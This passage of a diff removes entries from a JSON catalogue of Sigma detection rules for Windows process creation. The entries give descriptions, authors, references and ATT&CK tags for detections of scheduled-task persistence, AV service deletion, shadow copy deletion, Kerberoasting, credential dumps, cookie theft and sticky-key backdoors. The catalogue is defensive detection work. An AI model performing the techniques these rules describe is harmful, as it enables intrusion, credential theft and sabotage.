] - }, - "uuid": "bab049ca-7471-4828-9024-38279a4c04da", - "value": "Detect Virtualbox Driver Installation OR Starting Of VMs" - }, - { - "description": "Detects the creation of a schtask that executes a file from C:\\Users\\\\AppData\\Local", - "meta": { - "author": "pH-T, Nasreddine Bencherchali", - "creation_date": "2022/03/15", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_schtasks_appdata_local_system.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_appdata_local_system.yml", - "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/" - ], - "tags": [ - "attack.execution", - "attack.persistence", - "attack.t1053.005", - "attack.t1059.001" - ] - }, - "uuid": "c5c00f49-b3f9-45a6-997e-cfdecc6e1967", - "value": "Suspicious Schtasks Execution AppData Folder" - }, - { - "description": "Detects scheduled task creation events that include suspicious actions, and is run once at 00:00", - "meta": { - "author": "pH-T", - "creation_date": "2022/07/15", - "falsepositive": [ - "Software installation" - ], - "filename": "proc_creation_win_schtasks_once_0000.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_once_0000.yml", - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbyte" - ], - "tags": "No established tags" - }, - "uuid": "970823b7-273b-460a-8afc-3a6811998529", - "value": "Uncommon Scheduled Task Once 00:00" - }, - { - "description": "Detects suspicious powershell execution that ends with a common flag instead of a command or a filename to execute (could be a sign of implicit execution that uses files in WindowsApps directory)", - "meta": { - "author": "pH-T, Florian Roth", - "creation_date": "2022/04/08", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_schtasks_powershell_windowsapps_execution.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_powershell_windowsapps_execution.yml" - ], - "tags": [ - "attack.execution", - "attack.persistence", - "attack.t1053.005", - "attack.t1059.001" - ] - }, - "uuid": "b66474aa-bd92-4333-a16c-298155b120df", - "value": "Suspicious Powershell No File or Command" - }, - { - "description": "Detects the creation of a schtask that executes a base64 encoded payload stored in the Windows Registry using PowerShell.", - "meta": { - "author": "@Kostastsale, @TheDFIRReport, slightly modified by pH-T", - "creation_date": "2022/02/12", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_schtasks_reg_loader.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_reg_loader.yml", - "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/" - ], - "tags": [ - "attack.execution", - "attack.persistence", - "attack.t1053.005", - "attack.t1059.001" - ] - }, - "uuid": "c4eeeeae-89f4-43a7-8b48-8d1bdfa66c78", - "value": "Scheduled Task Executing Powershell Encoded Payload from Registry" - }, - { - "description": "Detects the creation or update of a scheduled task to run with \"NT AUTHORITY\\SYSTEM\" privileges", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/07/28", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_schtasks_system.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_system.yml", - "https://www.elastic.co/security-labs/exploring-the-qbot-attack-pattern" - ], - "tags": [ - "attack.execution", - "attack.persistence", - "attack.t1053.005" - ] - }, - "uuid": "89ca78fd-b37c-4310-b3d3-81a023f83936", - "value": "Schtasks Creation Or Modification With SYSTEM Privileges" - }, - { - "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", - "meta": { - "author": "frack113", - "creation_date": "2022/02/13", - "falsepositive": [ - "Legitimate usage of the tool" - ], - "filename": "proc_creation_win_screenconnect.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-5---screenconnect-application-download-and-install-on-windows", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_screenconnect.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ] - }, - "uuid": "57bff678-25d1-4d6c-8211-8ca106d12053", - "value": "Use of ScreenConnect Remote Access Software" - }, - { - "description": "Detects suspicious sub processes started by the ScreenConnect client service, which indicates the use of the so-called Backstage mode", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/02/25", - "falsepositive": [ - "Case in which administrators are allowed to use ScreenConnect's Backstage mode" - ], - "filename": "proc_creation_win_screenconnect_anomaly.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://docs.connectwise.com/ConnectWise_Control_Documentation/Get_started/Host_client/View_menu/Backstage_mode", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_screenconnect_anomaly.yml", - "https://www.mandiant.com/resources/telegram-malware-iranian-espionage" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ] - }, - "uuid": "7b582f1a-b318-4c6a-bf4e-66fe49bf55a5", - "value": "ScreenConnect Backstage Mode Anomaly" - }, - { - "description": "Detects a suspicious child process of Script Event Consumer (scrcons.exe).", - "meta": { - "author": "Sittikorn S", - "creation_date": "2021/06/21", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_script_event_consumer_spawn.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_script_event_consumer_spawn.yml", - "https://docs.paloaltonetworks.com/cortex/cortex-xdr/cortex-xdr-analytics-alert-reference/cortex-xdr-analytics-alert-reference/scrcons-exe-rare-child-process.html", - "https://redcanary.com/blog/child-processes/" - ], - "tags": [ - "attack.execution", - "attack.t1047" - ] - }, - "uuid": "f6d1dd2f-b8ce-40ca-bc23-062efb686b34", - "value": "Script Event Consumer Spawning Process" - }, - { - "description": "Detects when attackers use \"sc.exe\" to delete AV services from the system in order to avoid detection", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/01", - "falsepositive": [ - "Legitimate software deleting using the same method of deletion (Add it to a filter if you find cases as such)" - ], - "filename": "proc_creation_win_sc_delete_av_services.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.virustotal.com/gui/file/38283b775552da8981452941ea74191aa0d203edd3f61fb2dee7b0aea3514955", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_delete_av_services.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "7fd4bb39-12d0-45ab-bb36-cebabc73dc7b", - "value": "Suspicious Execution of Sc to Delete AV Services" - }, - { - "description": "Detects execution of \"sc.exe\" to query information about registered services on the system", - "meta": { - "author": "frack113", - "creation_date": "2021/12/06", - "falsepositive": [ - "Legitimate query of a service by an administrator to get more information such as the state or PID" - ], - "filename": "proc_creation_win_sc_query.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_query.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1007/T1007.md#atomic-test-1---system-service-discovery" - ], - "tags": [ - "attack.discovery", - "attack.t1007" - ] - }, - "uuid": "57712d7a-679c-4a41-a913-87e7175ae429", - "value": "SC.EXE Query Execution" - }, - { - "description": "Detects installation of a new shim using sdbinst.exe. A shim can be used to load malicious DLLs into applications.", - "meta": { - "author": "Markus Neis", - "creation_date": "2019/01/16", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_sdbinst_shim_persistence.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdbinst_shim_persistence.yml", - "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1546.011" - ] - }, - "uuid": "517490a7-115a-48c6-8862-1a481504d5a8", - "value": "Possible Shim Database Persistence via sdbinst.exe" - }, - { - "description": "A General detection for sdclt spawning new processes. This could be an indicator of sdclt being used for bypass UAC techniques.", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/05/02", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_sdclt_child_process.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://threathunterplaybook.com/evals/apt29/detections/3.B.2_C36B49B5-DF58-4A34-9FE9-56189B9DEFEA.html", - "https://github.com/OTRF/detection-hackathon-apt29/issues/6", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdclt_child_process.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1548.002" - ] - }, - "uuid": "da2738f2-fadb-4394-afa7-0a0674885afa", - "value": "Sdclt Child Processes" - }, - { - "description": "Detects the use of SDelete to erase a file not the free space", - "meta": { - "author": "frack113", - "creation_date": "2021/06/03", - "falsepositive": [ - "System administrator usage" - ], - "filename": "proc_creation_win_sdelete.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdelete.yml" - ], - "tags": [ - "attack.impact", - "attack.t1485" - ] - }, - "uuid": "a4824fca-976f-4964-b334-0621379e84c4", - "value": "Sysinternals SDelete Delete File" - }, - { - "description": "Detects sdiagnhost.exe calling a suspicious child process (e.g. used in exploits for Follina / CVE-2022-30190)", - "meta": { - "author": "Nextron Systems", - "creation_date": "2022/06/01", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_sdiagnhost_susp_child.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://app.any.run/tasks/f420d295-0457-4e9b-9b9e-6732be227583/", - "https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/", - "https://app.any.run/tasks/c4117d9a-f463-461a-b90f-4cd258746798/", - "https://twitter.com/nao_sec/status/1530196847679401984", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdiagnhost_susp_child.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036", - "attack.t1218" - ] - }, - "uuid": "f3d39c45-de1a-4486-a687-ab126124f744", - "value": "Sdiagnhost Calling Suspicious Child Process" - }, - { - "description": "Detects the use of parent process ID spoofing tools like Didier Stevens tool SelectMyParent", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/07/23", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_selectmyparent.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_selectmyparent.yml", - "https://pentestlab.blog/2020/02/24/parent-pid-spoofing/", - "https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing", - "https://www.picussecurity.com/resource/blog/how-to-detect-parent-pid-ppid-spoofing-attacks", - "https://www.virustotal.com/gui/search/filename%253A*spoof*%2520filename%253A*ppid*/files" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1134.004" - ] - }, - "uuid": "52ff7941-8211-46f9-84f8-9903efb7077d", - "value": "PPID Spoofing Tool Usage" - }, - { - "description": "Detects manual service execution (start) via system utilities.", - "meta": { - "author": "Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community", - "creation_date": "2019/10/21", - "falsepositive": [ - "Legitimate administrator or user executes a service for legitimate reasons." - ], - "filename": "proc_creation_win_service_execution.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1569.002/T1569.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_service_execution.yml" - ], - "tags": [ - "attack.execution", - "attack.t1569.002" - ] - }, - "uuid": "2a072a96-a086-49fa-bcb5-15cc5a619093", - "value": "Service Execution" - }, - { - "description": "Detects a windows service to be stopped", - "meta": { - "author": "Jakob Weinzettl, oscd.community, Nasreddine Bencherchali", - "creation_date": "2019/10/23", - "falsepositive": [ - "Administrator shutting down the service due to upgrade or removal purposes" - ], - "filename": "proc_creation_win_service_stop.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_service_stop.yml" - ], - "tags": [ - "attack.impact", - "attack.t1489" - ] - }, - "uuid": "eb87818d-db5d-49cc-a987-d5da331fbd90", - "value": "Stop Windows Service" - }, - { - "description": "Detects use of executionpolicy option to set insecure policies", - "meta": { - "author": "frack113", - "creation_date": "2021/11/01", - "falsepositive": [ - "Administrator script" - ], - "filename": "proc_creation_win_set_policies_to_unsecure_level.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_set_policies_to_unsecure_level.yml", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.1", - "https://adsecurity.org/?p=2604", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.1", - "https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "87e3c4e8-a6a8-4ad9-bb4f-46e7ff99a180", - "value": "Change PowerShell Policies to an Insecure Level" - }, - { - "description": "Detects deletion of Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil", - "meta": { - "author": "Tim Rauch", - "creation_date": "2022/09/20", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_shadowcopy_deletion_via_powershell.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shadowcopy_deletion_via_powershell.yml", - "https://www.elastic.co/guide/en/security/current/volume-shadow-copy-deletion-via-powershell.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell" - ], - "tags": [ - "attack.impact", - "attack.t1490" - ] - }, - "uuid": "21ff4ca9-f13a-41ad-b828-0077b2af2e40", - "value": "Deletion of Volume Shadow Copies via WMI with PowerShell" - }, - { - "description": "Shadow Copies storage symbolic link creation using operating systems utilities", - "meta": { - "author": "Teymur Kheirkhabarov, oscd.community", - "creation_date": "2019/10/22", - "falsepositive": [ - "Legitimate administrator working with shadow copies, access for backup purposes" - ], - "filename": "proc_creation_win_shadow_copies_access_symlink.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shadow_copies_access_symlink.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002", - "attack.t1003.003" - ] - }, - "uuid": "40b19fa6-d835-400c-b301-41f3a2baacaf", - "value": "Shadow Copies Access via Symlink" - }, - { - "description": "Shadow Copies creation using operating systems utilities, possible credential access", - "meta": { - "author": "Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community", - "creation_date": "2019/10/22", - "falsepositive": [ - "Legitimate administrator working with shadow copies, access for backup purposes" - ], - "filename": "proc_creation_win_shadow_copies_creation.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shadow_copies_creation.yml", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/tutorial-for-ntds-goodness-vssadmin-wmis-ntdsdit-system/" - ], - "tags": [ - "attack.credential_access", - "attack.t1003", - "attack.t1003.002", - "attack.t1003.003" - ] - }, - "uuid": "b17ea6f7-6e90-447e-a799-e6c0a493d6ce", - "value": "Shadow Copies Creation Using Operating Systems Utilities" - }, - { - "description": "Shadow Copies deletion using operating systems utilities", - "meta": { - "author": "Florian Roth, Michael Haag, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community, Andreas Hunkeler (@Karneades)", - "creation_date": "2019/10/22", - "falsepositive": [ - "Legitimate Administrator deletes Shadow Copies using operating systems utilities for legitimate reason", - "LANDesk LDClient Ivanti-PSModule (PS EncodedCommand)" - ], - "filename": "proc_creation_win_shadow_copies_deletion.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://redcanary.com/blog/intelligence-insights-october-2021/", - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://github.com/Neo23x0/Raccine#the-process", - "https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100", - "https://blog.talosintelligence.com/2017/05/wannacry.html", - "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/new-teslacrypt-ransomware-arrives-via-spam/", - "https://www.bleepingcomputer.com/news/security/why-everyone-should-disable-vssadmin-exe-now/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackbyte-exbyte-ransomware", - "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/gen_ransomware_command_lines.yar", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shadow_copies_deletion.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.impact", - "attack.t1070", - "attack.t1490" - ] - }, - "uuid": "c947b146-0abc-4c87-9c64-b17e9d7274a2", - "value": "Shadow Copies Deletion Using Operating Systems Utilities" - }, - { - "description": "Detects the use of SharpUp, a tool for local privilege escalation", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/08/20", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_sharpup.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sharpup.yml", - "https://github.com/GhostPack/SharpUp" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1615", - "attack.t1569.002", - "attack.t1574.005" - ] - }, - "uuid": "c484e533-ee16-4a93-b6ac-f0ea4868b2f1", - "value": "SharpUp PrivEsc Tool" - }, - { - "description": "Detects usage of the Sharp Chisel via the commandline arguments", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/09/05", - "falsepositive": [ - "Some false positives may occure with other tools with similar commandlines" - ], - "filename": "proc_creation_win_sharp_chisel_usage.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sharp_chisel_usage.yml", - "https://github.com/shantanu561993/SharpChisel", - "https://www.sentinelone.com/labs/wading-through-muddy-waters-recent-activity-of-an-iranian-state-sponsored-threat-actor/" - ], - "tags": [ - "attack.command_and_control", - "attack.t1090.001" - ] - }, - "uuid": "cf93e05e-d798-4d9e-b522-b0248dc61eaf", - "value": "SharpChisel Usage" - }, - { - "description": "Detects shell spawned from Java host process, which could be a sign of exploitation (e.g. log4j exploitation)", - "meta": { - "author": "Andreas Hunkeler (@Karneades), Nasreddine Bencherchali", - "creation_date": "2021/12/17", - "falsepositive": [ - "Legitimate calls to system binaries", - "Company specific internal usage" - ], - "filename": "proc_creation_win_shell_spawn_by_java.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shell_spawn_by_java.yml" - ], - "tags": [ - "attack.initial_access", - "attack.persistence", - "attack.privilege_escalation" - ] - }, - "uuid": "dff1e1cc-d3fd-47c8-bfc2-aeb878a754c0", - "value": "Shells Spawned by Java" - }, - { - "description": "Detects a suspicious child process of a Windows shell", - "meta": { - "author": "Florian Roth, Tim Shelton", - "creation_date": "2018/04/06", - "falsepositive": [ - "Administrative scripts", - "Microsoft SCCM" - ], - "filename": "proc_creation_win_shell_spawn_susp_program.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shell_spawn_susp_program.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1059.005", - "attack.t1059.001", - "attack.t1218" - ] - }, - "uuid": "3a6586ad-127a-4d3b-a677-1e6eacdf8fde", - "value": "Windows Shell Spawning Suspicious Program" - }, - { - "description": "Detects SILENTTRINITY stager use", - "meta": { - "author": "Aleksey Potapov, oscd.community", - "creation_date": "2019/10/22", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_silenttrinity_stage_use.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_silenttrinity_stage_use.yml", - "https://github.com/byt3bl33d3r/SILENTTRINITY" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071" - ] - }, - "uuid": "03552375-cc2c-4883-bbe4-7958d5a980be", - "value": "SILENTTRINITY Stager Execution" - }, - { - "description": "Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.", - "meta": { - "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/16", - "falsepositive": [ - "Legitimate administration activities" - ], - "filename": "proc_creation_win_software_discovery.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_software_discovery.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518/T1518.md", - "https://github.com/harleyQu1nn/AggressorScripts" - ], - "tags": [ - "attack.discovery", - "attack.t1518" - ] - }, - "uuid": "e13f668e-7f95-443d-98d2-1816a7648a7b", - "value": "Detected Windows Software Discovery" - }, - { - "description": "Detect attacker collecting audio via SoundRecorder application.", - "meta": { - "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", - "creation_date": "2019/10/24", - "falsepositive": [ - "Legitimate audio capture by legitimate user." - ], - "filename": "proc_creation_win_soundrec_audio_capture.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_soundrec_audio_capture.yml", - "https://eqllib.readthedocs.io/en/latest/analytics/f72a98cb-7b3d-4100-99c3-a138b6e9ff6e.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1123/T1123.md" - ], - "tags": [ - "attack.collection", - "attack.t1123" - ] - }, - "uuid": "83865853-59aa-449e-9600-74b9d89a6d6e", - "value": "Audio Capture via SoundRecorder" - }, - { - "description": "Detects Service Principal Name Enumeration used for Kerberoasting", - "meta": { - "author": "Markus Neis, keepwatch", - "creation_date": "2018/11/14", - "falsepositive": [ - "Administrator Activity" - ], - "filename": "proc_creation_win_spn_enum.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_spn_enum.yml", - "https://p16.praetorian.com/blog/how-to-use-kerberoasting-t1208-for-privilege-escalation" - ], - "tags": [ - "attack.credential_access", - "attack.t1558.003" - ] - }, - "uuid": "1eeed653-dbc8-4187-ad0c-eeebb20e6599", - "value": "Possible SPN Enumeration" - }, - { - "description": "Detects dump of credentials in VeeamBackup dbo", - "meta": { - "author": "frack113", - "creation_date": "2021/12/20", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_sqlcmd_veeam_dump.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2021/12/13/diavol-ransomware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sqlcmd_veeam_dump.yml", - "https://forums.veeam.com/veeam-backup-replication-f2/recover-esxi-password-in-veeam-t34630.html" - ], - "tags": [ - "attack.collection", - "attack.t1005" - ] - }, - "uuid": "b57ba453-b384-4ab9-9f40-1038086b4e53", - "value": "VeeamBackup Database Credentials Dump" - }, - { - "description": "Detect use of sqlite binary to query the Firefox cookies.sqlite database and steal the cookie data contained within it", - "meta": { - "author": "frack113", - "creation_date": "2022/04/08", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_sqlite_firefox_cookies.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1539/T1539.md#atomic-test-1---steal-firefox-cookies-windows", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sqlite_firefox_cookies.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1539" - ] - }, - "uuid": "4833155a-4053-4c9c-a997-777fcea0baa7", - "value": "SQLite Firefox Cookie DB Access" - }, - { - "description": "Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen", - "meta": { - "author": "Florian Roth, @twjackomo, Jonhnathan Ribeiro, oscd.community", - "creation_date": "2018/03/15", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_stickykey_like_backdoor.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_stickykey_like_backdoor.yml", - "https://blogs.technet.microsoft.com/jonathantrull/2016/10/03/detecting-sticky-key-backdoors/" - ], - "tags": [ - "attack.privilege_escalation", - "attack.persistence", - "attack.t1546.008", - "car.2014-11-003", - "car.2014-11-008" - ] - }, - "uuid": "2fdefcb3-dbda-401e-ae23-f0db027628bc", - "value": "Sticky Key Like Backdoor Usage" - }, - { - "description": "By replacing the sticky keys executable with the local admins CMD executable, an attacker is able to access a privileged windows console session without authenticating to the system.\nWhen the sticky keys are \"activated\" the privilleged shell is launched.\n", - "meta": { - "author": "Sreeman", - "creation_date": "2020/02/18", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_sticky_keys_unauthenticated_privileged_cmd_access.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.fireeye.com/blog/threat-research/2017/03/apt29_domain_frontin.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sticky_keys_unauthenticated_privileged_cmd_access.yml", - "https://www.clearskysec.com/wp-content/uploads/2020/02/ClearSky-Fox-Kitten-Campaign-v1.pdf" - ], - "tags": [ - "attack.t1546.008", - "attack.privilege_escalation" - ] - }, - "uuid": "1070db9a-3e5d-412e-8e7b-7183b616e1b3", - "value": "Sticky-Key Backdoor Copy Cmd.exe" - }, - { - "description": "Detects the use of stordiag.exe to execute schtasks.exe systeminfo.exe and fltmc.exe", - "meta": { - "author": "Austin Songer (@austinsonger)", - "creation_date": "2021/10/21", - "falsepositive": [ - "Legitimate usage of stordiag.exe." - ], - "filename": "proc_creation_win_stordiag_execution.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/eral4m/status/1451112385041911809", - "https://strontic.github.io/xcyclopedia/library/stordiag.exe-1F08FC87C373673944F6A7E8B18CD845.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_stordiag_execution.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - 